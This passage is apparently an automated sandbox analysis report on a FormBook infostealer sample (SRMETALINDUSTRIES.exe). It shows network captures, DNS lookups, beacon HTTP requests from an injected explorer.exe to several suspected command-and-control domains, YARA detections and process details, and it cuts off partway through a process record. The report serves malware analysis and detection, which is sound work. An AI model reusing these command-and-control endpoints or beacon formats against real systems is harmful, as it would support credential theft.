Sep 15, 2021 09:44:51.557720900 CEST	49816	80	192.168.2.6	185.134.245.113
Sep 15, 2021 09:44:51.557792902 CEST	49816	80	192.168.2.6	185.134.245.113
Sep 15, 2021 09:44:51.557904959 CEST	49816	80	192.168.2.6	185.134.245.113
Sep 15, 2021 09:44:51.600636005 CEST	80	49816	185.134.245.113	192.168.2.6
Sep 15, 2021 09:44:56.949724913 CEST	49818	80	192.168.2.6	13.250.255.10
Sep 15, 2021 09:44:57.110008955 CEST	80	49818	13.250.255.10	192.168.2.6
Sep 15, 2021 09:44:57.120852947 CEST	49818	80	192.168.2.6	13.250.255.10
Sep 15, 2021 09:44:57.496335030 CEST	49818	80	192.168.2.6	13.250.255.10
Sep 15, 2021 09:44:57.655827999 CEST	80	49818	13.250.255.10	192.168.2.6
Sep 15, 2021 09:44:57.655874014 CEST	80	49818	13.250.255.10	192.168.2.6
Sep 15, 2021 09:44:57.655891895 CEST	80	49818	13.250.255.10	192.168.2.6
Sep 15, 2021 09:44:57.657469034 CEST	49818	80	192.168.2.6	13.250.255.10
Sep 15, 2021 09:44:57.657594919 CEST	49818	80	192.168.2.6	13.250.255.10
Sep 15, 2021 09:44:57.817284107 CEST	80	49818	13.250.255.10	192.168.2.6
Sep 15, 2021 09:45:07.798247099 CEST	49822	80	192.168.2.6	185.215.4.13
Sep 15, 2021 09:45:07.821702957 CEST	80	49822	185.215.4.13	192.168.2.6
Sep 15, 2021 09:45:07.821835995 CEST	49822	80	192.168.2.6	185.215.4.13
Sep 15, 2021 09:45:07.821926117 CEST	49822	80	192.168.2.6	185.215.4.13
Sep 15, 2021 09:45:07.845688105 CEST	80	49822	185.215.4.13	192.168.2.6
Sep 15, 2021 09:45:07.902590990 CEST	80	49822	185.215.4.13	192.168.2.6
Sep 15, 2021 09:45:07.902627945 CEST	80	49822	185.215.4.13	192.168.2.6
Sep 15, 2021 09:45:07.902755022 CEST	49822	80	192.168.2.6	185.215.4.13
Sep 15, 2021 09:45:07.902831078 CEST	49822	80	192.168.2.6	185.215.4.13
Sep 15, 2021 09:45:08.210844994 CEST	49822	80	192.168.2.6	185.215.4.13
Sep 15, 2021 09:45:08.235425949 CEST	80	49822	185.215.4.13	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 15, 2021 09:42:59.659955978 CEST	55074	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:42:59.689527988 CEST	53	55074	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:28.862119913 CEST	54513	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:28.896136999 CEST	53	54513	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:31.360534906 CEST	62044	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:31.403969049 CEST	53	62044	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:50.682168961 CEST	63791	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:50.716701984 CEST	53	63791	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:55.214967012 CEST	64267	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:55.240340948 CEST	53	64267	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:56.156646013 CEST	49448	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:56.185348988 CEST	53	49448	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:56.318314075 CEST	60342	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:56.354317904 CEST	53	60342	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:57.143197060 CEST	61346	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:57.173204899 CEST	53	61346	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:57.634675980 CEST	51774	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:57.660480022 CEST	53	51774	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:58.436158895 CEST	56023	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:58.490257025 CEST	53	56023	8.8.8.8	192.168.2.6
Sep 15, 2021 09:43:59.844085932 CEST	58384	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:43:59.871186972 CEST	53	58384	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:03.038388968 CEST	60261	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:03.068991899 CEST	53	60261	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:04.006849051 CEST	56061	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:04.033698082 CEST	53	56061	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:04.953435898 CEST	58336	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:04.983305931 CEST	53	58336	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:05.492280960 CEST	53781	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:05.522380114 CEST	53	53781	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:12.379160881 CEST	54064	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:12.408813000 CEST	53	54064	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:29.086762905 CEST	52811	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:29.116419077 CEST	53	52811	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:29.396056890 CEST	55299	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:29.734292984 CEST	53	55299	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:34.750972986 CEST	63745	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:34.963228941 CEST	53	63745	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:40.585074902 CEST	50055	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:40.782047033 CEST	53	50055	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:46.366214991 CEST	61374	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:46.415891886 CEST	53	61374	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:51.423722982 CEST	50339	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:51.470158100 CEST	53	50339	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:53.846091986 CEST	63307	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:53.888386011 CEST	53	63307	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:56.576827049 CEST	49694	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:56.943630934 CEST	53	49694	8.8.8.8	192.168.2.6
Sep 15, 2021 09:44:58.960994005 CEST	54982	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:44:59.005784035 CEST	53	54982	8.8.8.8	192.168.2.6
Sep 15, 2021 09:45:07.703166008 CEST	50010	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:45:07.797244072 CEST	53	50010	8.8.8.8	192.168.2.6
Sep 15, 2021 09:45:12.916143894 CEST	63718	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:45:13.098176956 CEST	53	63718	8.8.8.8	192.168.2.6
Sep 15, 2021 09:45:18.792363882 CEST	62116	53	192.168.2.6	8.8.8.8
Sep 15, 2021 09:45:19.136847019 CEST	53	62116	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 15, 2021 09:44:29.396056890 CEST	192.168.2.6	8.8.8.8	0xd932	Standard query (0)	www.hisensor.world	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:34.750972986 CEST	192.168.2.6	8.8.8.8	0x536c	Standard query (0)	www.ifbrick.com	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:40.585074902 CEST	192.168.2.6	8.8.8.8	0x1a4f	Standard query (0)	www.integrity.directory	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:46.366214991 CEST	192.168.2.6	8.8.8.8	0xd21d	Standard query (0)	www.advindustry.com	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:51.423722982 CEST	192.168.2.6	8.8.8.8	0x3c0b	Standard query (0)	www.nordicbatterybelt.net	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:56.576827049 CEST	192.168.2.6	8.8.8.8	0x6dff	Standard query (0)	www.starworks.online	A (IP address)	IN (0x0001)
Sep 15, 2021 09:45:07.703166008 CEST	192.168.2.6	8.8.8.8	0x89eb	Standard query (0)	www.sashaignatenko.com	A (IP address)	IN (0x0001)
Sep 15, 2021 09:45:12.916143894 CEST	192.168.2.6	8.8.8.8	0x8303	Standard query (0)	www.zmdhysm.com	A (IP address)	IN (0x0001)
Sep 15, 2021 09:45:18.792363882 CEST	192.168.2.6	8.8.8.8	0xde00	Standard query (0)	www.menramen.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 15, 2021 09:44:29.734292984 CEST	8.8.8.8	192.168.2.6	0xd932	Name error (3)	www.hisensor.world	none	none	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:34.963228941 CEST	8.8.8.8	192.168.2.6	0x536c	No error (0)	www.ifbrick.com		165.73.84.33	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:40.782047033 CEST	8.8.8.8	192.168.2.6	0x1a4f	No error (0)	www.integrity.directory		44.227.65.245	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:40.782047033 CEST	8.8.8.8	192.168.2.6	0x1a4f	No error (0)	www.integrity.directory		44.227.76.166	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:46.415891886 CEST	8.8.8.8	192.168.2.6	0xd21d	Name error (3)	www.advindustry.com	none	none	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:51.470158100 CEST	8.8.8.8	192.168.2.6	0x3c0b	No error (0)	www.nordicbatterybelt.net		185.134.245.113	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:56.943630934 CEST	8.8.8.8	192.168.2.6	0x6dff	No error (0)	www.starworks.online	dns.ladipage.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 09:44:56.943630934 CEST	8.8.8.8	192.168.2.6	0x6dff	No error (0)	dns.ladipage.com	ladi-dns-ssl-nlb-prod-4-5fac4e17b8b8295e.elb.ap-southeast-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 09:44:56.943630934 CEST	8.8.8.8	192.168.2.6	0x6dff	No error (0)	ladi-dns-ssl-nlb-prod-4-5fac4e17b8b8295e.elb.ap-southeast-1.amazonaws.com		13.250.255.10	A (IP address)	IN (0x0001)
Sep 15, 2021 09:44:56.943630934 CEST	8.8.8.8	192.168.2.6	0x6dff	No error (0)	ladi-dns-ssl-nlb-prod-4-5fac4e17b8b8295e.elb.ap-southeast-1.amazonaws.com		13.250.192.238	A (IP address)	IN (0x0001)
Sep 15, 2021 09:45:07.797244072 CEST	8.8.8.8	192.168.2.6	0x89eb	No error (0)	www.sashaignatenko.com	sashaignatenko.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 09:45:07.797244072 CEST	8.8.8.8	192.168.2.6	0x89eb	No error (0)	sashaignatenko.com		185.215.4.13	A (IP address)	IN (0x0001)
Sep 15, 2021 09:45:13.098176956 CEST	8.8.8.8	192.168.2.6	0x8303	No error (0)	www.zmdhysm.com		154.64.44.142	A (IP address)	IN (0x0001)
Sep 15, 2021 09:45:19.136847019 CEST	8.8.8.8	192.168.2.6	0xde00	No error (0)	www.menramen.com	menramen.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 09:45:19.136847019 CEST	8.8.8.8	192.168.2.6	0xde00	No error (0)	menramen.com		180.235.151.100	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.ifbrick.com

www.integrity.directory

www.nordicbatterybelt.net

www.starworks.online

www.sashaignatenko.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49814	165.73.84.33	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 09:44:35.172030926 CEST	5900	OUT	GET /n58i/?fD=F+G31dedRh6HLTd+ecIv/qGaPc+OF0rVpdWlg5lJjBXzRtzoveZeEYo5TUAR7GVYQJUOwMAABw==&7nVT9d=P6AhC8Yh4LuLMhK0 HTTP/1.1 Host: www.ifbrick.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 15, 2021 09:44:35.453573942 CEST	5900	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 15 Sep 2021 07:44:35 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 315 Connection: close Vary: Accept-Encoding X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49815	44.227.65.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 09:44:41.151329041 CEST	5901	OUT	GET /n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=unnhyE6s8wGaSGOfJAqqywl5AWsKat8KABC8TJyOz0JlXUzqDPtAwNp8gBEuIS9Csn5pfDFizQ== HTTP/1.1 Host: www.integrity.directory Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 15, 2021 09:44:41.334300995 CEST	5902	IN	HTTP/1.1 307 Temporary Redirect Server: openresty Date: Wed, 15 Sep 2021 07:44:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 168 Connection: close Location: http://integrity.directory X-Frame-Options: sameorigin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49816	185.134.245.113	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 09:44:51.514826059 CEST	5904	OUT	GET /n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=M2+dNbjF68Ecx6/kG0IjEvERphPYwrhl5ASQUZVNwgXuLMQcMfVPa3ABQDdZS66N8pSyWuXUWw== HTTP/1.1 Host: www.nordicbatterybelt.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 15, 2021 09:44:51.557627916 CEST	5905	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Sep 2021 07:44:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Wed, 15 Sep 2021 08:44:51 GMT Cache-Control: max-age=3600 Cache-Control: public Data Raw: 66 38 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 72 65 64 69 72 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 30 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 6f 6d 65 6e 65 73 68 6f 70 2e 6e 6f 2f 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 6f 6d 65 6e 65 73 68 6f 70 2e 6e 6f 2f 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 72 65 6e 64 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 6f 6d 65 6e 65 73 68 6f 70 2e 6e 6f 2f 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 6f 6d 65 6e 65 73 68 6f 70 2e 6e 6f 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 6e 6f 72 64 69 63 62 61 74 74 65 72 79 62 65 6c 74 2e 6e 65 74 20 69 73 20 70 61 72 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 0a 2a 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 70 61 64 64 69 6e 67 3a 20 30 3b 7d 0a 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 63 63 63 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 74 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 68 31 20 7b 0a 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 61 75 74 6f 20 32 30 70 78 20 31 30 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 33 34 39 38 64 62 3b 0a 7d 0a 0a 70 20 7b 0a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 32 30 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 20 61 75 74 6f 20 33 30 70 78 20 31 30 70 78 20 33 30 70 78 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 69 6e 2d 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 20 31 35 25 20 61 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b 0a 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0a 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 0a 69 6d 67 2e 6c 6f 67 6f 20 7b 0a 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 20 35 30 70 78 3b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 0a 2e 6c 6f 67 6f 63 6f 6e 74 20 7b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a Data Ascii: f82<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta id="redir" http-equiv="refresh" content="10; url=https://www.domeneshop.no/"> <link rel="dns-prefetch" href="https://www.domeneshop.no/"> <link rel="prerender" href="https://www.domeneshop.no/"> <link rel="preconnect" href="https://www.domeneshop.no/" crossorigin> <title>www.nordicbatterybelt.net is parked</title> <style>* {margin: 0;padding: 0;}body {background: #ccc;font-family: Arial, Helvetica, sans-serif;font-size: 11pt;text-align: center;}h1 {margin: 10px auto 20px 10px;color: #3498db;}p {display: inline-block;min-width: 200px;margin: auto 30px 10px 30px;}.container {position: relative;text-align: left;min-height: 200px;max-width: 800px;min-width: 450px;margin: 15% auto 0px auto;background: #FFFFFF;border-radius: 20px;padding: 20px;box-sizing: border-box;}img.logo {width: auto;max-height: 50px;margin-top: 30px;border: 0;}.logocont {text-align: center;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49818	13.250.255.10	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 09:44:57.496335030 CEST	5917	OUT	GET /n58i/?fD=PUNHIxjtOSFwkEXuacN/093UMB3LWAmrPV2Rldw+lO4ozANnbCtjpuKVlOTMjGDvzMsTPi3I2g==&7nVT9d=P6AhC8Yh4LuLMhK0 HTTP/1.1 Host: www.starworks.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 15, 2021 09:44:57.655874014 CEST	5918	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 15 Sep 2021 07:44:57 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.starworks.online/n58i/?fD=PUNHIxjtOSFwkEXuacN/093UMB3LWAmrPV2Rldw+lO4ozANnbCtjpuKVlOTMjGDvzMsTPi3I2g==&7nVT9d=P6AhC8Yh4LuLMhK0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49822	185.215.4.13	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 09:45:07.821926117 CEST	5931	OUT	GET /n58i/?7nVT9d=P6AhC8Yh4LuLMhK0&fD=IQPyE+VrRvak8LK8nAdRdA+GXS2RT8iR9v4gvsbeLz4LfgOhT+qf8KqQA9G0pMp8GxoQ9RLGrw== HTTP/1.1 Host: www.sashaignatenko.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 15, 2021 09:45:07.902590990 CEST	5931	IN	HTTP/1.1 404 Not Found Server: ddos-guard Connection: close Set-Cookie: __ddg1=q6Z0iJaBrNWVE3dM3y3c; Domain=.sashaignatenko.com; HttpOnly; Path=/; Expires=Thu, 15-Sep-2022 07:45:07 GMT Date: Wed, 15 Sep 2021 07:45:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 340 Last-Modified: Tue, 29 May 2018 17:41:27 GMT ETag: "154-56d5bbe607fc0" Accept-Ranges: bytes X-Frame-Options: SAMEORIGIN Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 54 69 6c 64 61 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 22 3e 3c 74 61 62 6c 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 3c 74 72 3e 3c 74 64 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 69 6c 64 61 2e 63 63 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 74 69 6c 64 61 2e 77 73 2f 69 6d 67 2f 6c 6f 67 6f 34 30 34 2e 70 6e 67 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 54 69 6c 64 61 22 20 2f 3e 3c 2f 61 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta name="robots" content="noindex"><title>Tilda</title></head><body style="background-color:#eee;"><table style="width:100%; height:100%;"><tr><td style="vertical-align: middle; text-align: center;"><a href="https://tilda.cc"><img src="//tilda.ws/img/logo404.png" border="0" alt="Tilda" /></a></td></tr></table></body></html>

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: SRMETALINDUSTRIES.exe PID: 6164 Parent PID: 5656

General

Start time:	09:43:05
Start date:	15/09/2021
Path:	C:\Users\user\Desktop\SRMETALINDUSTRIES.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe'
Imagebase:	0x3f0000
File size:	586752 bytes
MD5 hash:	51FB6F484B4BC554A7FDDB7DC24C994E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: SRMETALINDUSTRIES.exe PID: 1260 Parent PID: 6164

General

Start time:	09:43:10
Start date:	15/09/2021
Path:	C:\Users\user\Desktop\SRMETALINDUSTRIES.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\SRMETALINDUSTRIES.exe
Imagebase:	0x8d0000
File size:	586752 bytes
